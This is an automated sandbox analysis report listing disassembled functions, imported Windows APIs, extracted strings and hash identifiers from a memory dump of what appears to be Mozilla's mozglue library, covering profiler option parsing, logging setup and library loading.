Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: d7479d15e441330ee179ee686d55ecd03df10202789750a8896bfee50eeb05d6
Instruction ID: 4c9b8229e6623e28e4d1e7f2a4d85ecfe77ab3ac34f1b39afb1422f056e76baf
Opcode Fuzzy Hash: d7479d15e441330ee179ee686d55ecd03df10202789750a8896bfee50eeb05d6
Instruction Fuzzy Hash: AEB28B71A056418FC308CF28C590715BBE2EFC5328B29C76DE47A8B7A5D771E84ACB85

Function 6CC385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC38C7C
__aulldiv.LIBCMT ref: 6CC38DD7

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d6a45d266ae0d9e87c0b4203dd0b829ed7fd066fe41dfbe93a51a8f21da5caa2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D8327131F001298BDF18CE9DD8A1BAEB7B2FB88700F15952BD50AFB790D6349D458B91

Function 6CC3B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CBE03D4,?), ref: 6CC3B955
NtQueryVirtualMemory.NTDLL ref: 6CC3B9A5

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 103040cb2fb515f018c0680b2103e128dda3154525120f7383a2f36ab5582e97
Instruction ID: 48687abd057bc2177e245d3c313e4b833b415ce7c768c7e4cdb7bf8a1525bf7b
Opcode Fuzzy Hash: 103040cb2fb515f018c0680b2103e128dda3154525120f7383a2f36ab5582e97
Instruction Fuzzy Hash: 4F41D671F0061D9FDF04CFA9E890ADEBBB6EF88314F14812AE509A7744EB3198458B91

Function 6CC15C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CBE4A63,?,?), ref: 6CC15F06

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 99e40c50855cb1dcb1a2a7e21f117efaf72f324b010d9e3149a3246628d110a2
Instruction ID: 27deb570f9151482586cf601a7af5fd73f5ff6eabb640cace7b1c610a8dab202
Opcode Fuzzy Hash: 99e40c50855cb1dcb1a2a7e21f117efaf72f324b010d9e3149a3246628d110a2
Instruction Fuzzy Hash: 3CC1B175D052098FCB04CF5AC5906DEBBB2FF8A318F28415DD8556BF44E732A806DB90

Function 6CBDDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff0ab91a54310f7f9f3143126cb8aa3a46b2d770132873a45b7cdf6d10724e57
Instruction ID: 8074d0c451fef85c7e32aeb3f90fb5adb656902db066dd9c80d8485a128bc9b5
Opcode Fuzzy Hash: ff0ab91a54310f7f9f3143126cb8aa3a46b2d770132873a45b7cdf6d10724e57
Instruction Fuzzy Hash: FC42A372A187918BD314CE2CC49175EF3E2BFC9354F0A872DE999A7790D734E9418B82

Function 6CC476E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 963b9c75f72991484f6d2250ecb49602ad0e45206c9d3766683b9a6cbc1614d7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 5F32E871E006198FDB14CF99C890AADFBB2FF88308F54C569C949A7745E731A986CF90

Function 6CC46E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: b66ffe2da70273d14d2aa1f98c2a63ff0d107cfb15bcc75fc722ef68c17628d0
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 9522D771E006198FCB14CF99C980AADF7B2FF88304F65C5A9C949A7745E731A986CF90

Function 6CC00512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: a02b77e3758c291640be44e5db3a079e91c8f5ad94d54fddfa2797df7db80ebe
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 2C221771E04659CFDB14CF98C890AADF7B2FF88308F558199C54AA7745D731A986CF80

Function 6CC4AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 599f1e687427c57a98765b5ed03cd450b6610d6d143fb83f21d500d0ef8ae35d
Instruction ID: b6132813863b4dcabd043dae27689bc0be1838e1e84d59495d3d1efe248c0dd3
Opcode Fuzzy Hash: 599f1e687427c57a98765b5ed03cd450b6610d6d143fb83f21d500d0ef8ae35d
Instruction Fuzzy Hash: 06F13672A087459FE700CE28C8907AEB7E6AFC5319F14CA3DE8D487781F77598858792

Function 6CBDC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 37bb7530a3a1dab6c5adaf2b3ac577ee86853a4e9d46c73845efdd7c75c82ff2
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: C9A1AF71F0021A8BDB08CE69C8917AEB7F2EFC8355F198129D915E7781DB34AC068B90

Function 6CC17710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: d706afe774153b82652c14d5f2ebbf46b95bef666d991ebadc02a6ccfbbe1d26
Instruction ID: 9de3bb3606c9ce1a908bcd5fbe0a02185056b115811fe8534a08d2ca055508c6
Opcode Fuzzy Hash: d706afe774153b82652c14d5f2ebbf46b95bef666d991ebadc02a6ccfbbe1d26
Instruction Fuzzy Hash: 7C716C75E052198FDB08CF9AD8905EDBBB2FF89314F24812ED415BBB40E731A905DB90

Function 6CC158E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2a5a07464a49c173c3b6863ce2f38081aea8d5a3bc401c74d3c33d67c64b3f7a
Instruction ID: 5930b9ac8b29cb4c5d7eab0c51d287ab3c889d72a912820a06ecd62af54e7374
Opcode Fuzzy Hash: 2a5a07464a49c173c3b6863ce2f38081aea8d5a3bc401c74d3c33d67c64b3f7a
Instruction Fuzzy Hash: 89818075E051199FCB04CFA9D8809EEBBF2FF89314F644269D411BB741E731A945CB90

Function 6CC1CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CBE582D), ref: 6CC1CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CBE582D), ref: 6CC1CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC4FE98,?,?,?,?,?,6CBE582D), ref: 6CC1CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CBE582D), ref: 6CC1CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CBE582D), ref: 6CC1CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CBE582D), ref: 6CC1CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE582D), ref: 6CC1CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CC1CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CC1CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CC1CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CC1CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CC1CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CC1CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CC1CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CC1CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CC1CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CC1CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CC1CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CC1CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CC1CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CC1CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CC1CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CC1CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CC1CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CC1CE8A

Strings

stackwalk, xrefs: 6CC1CCF8
samplingallthreads, xrefs: 6CC1CE2C
power, xrefs: 6CC1CE84
preferencereads, xrefs: 6CC1CD92
notimerresolutionchange, xrefs: 6CC1CE00
seqstyle, xrefs: 6CC1CCE6
processcpu, xrefs: 6CC1CE6E
fileioall, xrefs: 6CC1CCA8
cpuallthreads, xrefs: 6CC1CE16
unregisteredthreads, xrefs: 6CC1CE58
default, xrefs: 6CC1CC21
leaf, xrefs: 6CC1CC66
fileio, xrefs: 6CC1CC92
audiocallbacktracing, xrefs: 6CC1CDD4
markersallthreads, xrefs: 6CC1CE42
noiostacks, xrefs: 6CC1CCBE
nativeallocations, xrefs: 6CC1CDA8
ipcmessages, xrefs: 6CC1CDBE
java, xrefs: 6CC1CC37
jsallocations, xrefs: 6CC1CD0E
mainthreadio, xrefs: 6CC1CC7C
nostacksampling, xrefs: 6CC1CD7C
Unrecognized feature "%s"., xrefs: 6CC1CEA0
screenshots, xrefs: 6CC1CCD4

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f3de86e6b1bfd78458d9d98f1dbf33afeaded54b231c6912a868f7feae296775
Instruction ID: 14d140cdf54eefc56496f193944ec0fd0a42e3f162048e78f229e1f324a9927e
Opcode Fuzzy Hash: f3de86e6b1bfd78458d9d98f1dbf33afeaded54b231c6912a868f7feae296775
Instruction Fuzzy Hash: 9F51C6E1A1D22552FA0031176D11BEA144AFF5324AF10C47AFD1AA1E90FF05E62E96B7

Function 6CBE47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CBE4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBE4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBE482D
__Init_thread_footer.LIBCMT ref: 6CBE484A

Part of subcall function 6CC0AB3F: EnterCriticalSection.KERNEL32(6CC5E370,?,?,6CBD3527,6CC5F6CC,?,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB49
Part of subcall function 6CC0AB3F: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD3527,6CC5F6CC,?,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0AB7C

GetCurrentThreadId.KERNEL32 ref: 6CBE485F
GetCurrentThreadId.KERNEL32 ref: 6CBE487E
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBE488B
free.MOZGLUE(?), ref: 6CBE493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBE4956
free.MOZGLUE(00000000), ref: 6CBE4960
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CBE499A

Part of subcall function 6CC0AB89: EnterCriticalSection.KERNEL32(6CC5E370,?,?,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284), ref: 6CC0AB94
Part of subcall function 6CC0AB89: LeaveCriticalSection.KERNEL32(6CC5E370,?,6CBD34DE,6CC5F6CC,?,?,?,?,?,?,?,6CBD3284,?,?,6CBF56F6), ref: 6CC0ABD1

free.MOZGLUE(?), ref: 6CBE49C6
free.MOZGLUE(?), ref: 6CBE49E9

Part of subcall function 6CBF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBF5EDB
Part of subcall function 6CBF5E90: memset.VCRUNTIME140(6CC37765,000000E5,55CCCCCC), ref: 6CBF5F27
Part of subcall function 6CBF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBF5FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6CBE4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6CBE4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBE4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBE4828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBE47FC

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 3e1da750e5230928adfe8f21221ad437d31ac66eee5eb3c35a0fcc56cc663392
Instruction ID: 2782eced7ecd1814edb920b762a259b32ceb705a56af69420a774b6e891b470a
Opcode Fuzzy Hash: 3e1da750e5230928adfe8f21221ad437d31ac66eee5eb3c35a0fcc56cc663392
Instruction Fuzzy Hash: F6814674A001908FDB04DFA8C88475A3775EF4A768F940629E816B7F41E731E869CF9B

Function 6CBE4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBE4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBE44B2,6CC5E21C,6CC5F7F8), ref: 6CBE473E
Part of subcall function 6CBE4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBE474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CBE44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CBE44D2
InitOnceExecuteOnce.KERNEL32(6CC5F80C,6CBDF240,?,?), ref: 6CBE451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBE455C
LoadLibraryW.KERNEL32(?), ref: 6CBE4592
InitializeCriticalSection.KERNEL32(6CC5F770), ref: 6CBE45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CBE45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CBE45BB
InitOnceExecuteOnce.KERNEL32(6CC5F818,6CBDF240,?,?), ref: 6CBE4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBE4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CBE4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBE466D
VerSetConditionMask.NTDLL ref: 6CBE469F
VerSetConditionMask.NTDLL ref: 6CBE46AB
VerSetConditionMask.NTDLL ref: 6CBE46B2
VerSetConditionMask.NTDLL ref: 6CBE46B9
VerSetConditionMask.NTDLL ref: 6CBE46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBE46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CBE46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CBE46FD

Strings

kernel32.dll, xrefs: 6CBE44CD
l, xrefs: 6CBE4578
WRusr.dll, xrefs: 6CBE44B5
NativeNtBlockSet_Write, xrefs: 6CBE46F7
user32.dll, xrefs: 6CBE4557, 6CBE463F

Memory Dump Source

Source File: 00000000.00000002.2029081201.000000006CBD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2029027005.000000006CBD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029194104.000000006CC4D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029244892.000000006CC5E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2029301553.000000006CC62000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ddf3611c015b2d69883a75cad7f353ff223f209dd19ca8a5dc6dcdd4a3d05367
Instruction ID: f28218c63501a8994015347e6c912c4051118d7fe42f69ccd52e31e731fae538
Opcode Fuzzy Hash: ddf3611c015b2d69883a75cad7f353ff223f209dd19ca8a5dc6dcdd4a3d05367
Instruction Fuzzy Hash: 276128B06003849FEB149FA0CC05B997BF8FF4B788F848598E504AB641E7B49975CF91

Function 6CC1E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC17090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CC1B9F1,?), ref: 6CC17107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC1DCF5), ref: 6CC1E92D
GetCurrentThreadId.KERNEL32 ref: 6CC1EA4F
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EA5C
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EA80
GetCurrentThreadId.KERNEL32 ref: 6CC1EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC1DCF5), ref: 6CC1EA92
GetCurrentThreadId.KERNEL32 ref: 6CC1EB11
AcquireSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CC1EB3C
ReleaseSRWLockExclusive.KERNEL32(6CC5F4B8), ref: 6CC1EB5B

Part of subcall function 6CC15710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1EB71), ref: 6CC157AB

Part of subcall function 6CC0CBE8: GetCurrentProcess.KERNEL32(?,6CBD31A7), ref: 6CC0CBF1
Part of subcall function 6CC0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBD31A7), ref: 6CC0CBFA

